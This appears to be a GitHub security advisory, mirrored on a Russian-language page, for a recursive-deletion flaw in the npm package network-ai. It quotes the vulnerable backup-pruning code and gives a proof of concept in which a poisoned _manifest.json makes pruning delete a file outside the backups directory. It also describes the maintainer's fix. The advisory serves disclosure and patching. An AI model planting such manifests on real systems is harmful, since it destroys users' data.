GHSA-2fmp-9rvw-hc96

Опубликовано: 19 июн. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.1

Описание

Network-AI: Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) { const manifest = join(backupsDir, name, '_manifest.json'); if (existsSync(manifest)) { try { const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry; entries.push(entry); } catch { /* corrupt manifest, skip */ } } }

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep); let deleted = 0; for (const entry of toDelete) { try { rmSync(entry.path, { recursive: true, force: true }); deleted++; } catch { /* ignore */ } }

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
lib/env-manager.ts:529-541 — recursively deletes entry.path.
bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d) TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS' const { EnvironmentManager } = require('./lib/env-manager'); const fs = require('fs'); const path = require('path'); const base = process.env.TMPBASE; const mgr = new EnvironmentManager(path.join(base, 'data'), { chain: ['dev', 'st'], gates: { dev: 'auto', st: 'auto' }, }); mgr.init('dev'); fs.writeFileSync(path.join(base, 'victim.txt'), 'safe'); const backupsDir = path.join(base, 'data', 'dev', '.backups'); fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true }); fs.writeFileSync( path.join(backupsDir, 'evil', '_manifest.json'), JSON.stringify({ backupId: 'evil', env: 'dev', timestamp: '2000-01-01T00:00:00.000Z', sizeBytes: 0, path: path.join(base, 'victim.txt'), }) ); console.log(JSON.stringify({ before: fs.existsSync(path.join(base, 'victim.txt')), deleted: mgr.pruneBackups('dev', 0), after: fs.existsSync(path.join(base, 'victim.txt')), }, null, 2)); fs.rmSync(base, { recursive: true, force: true }); TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Ссылки

Пакеты

Наименование

network-ai

npm

Затронутые версииВерсия исправления

<= 5.12.1

5.12.2

7.1 High

CVSS3

Дефекты

CWE-22

CWE-73

7.1 High

CVSS3

Дефекты

CWE-22

CWE-73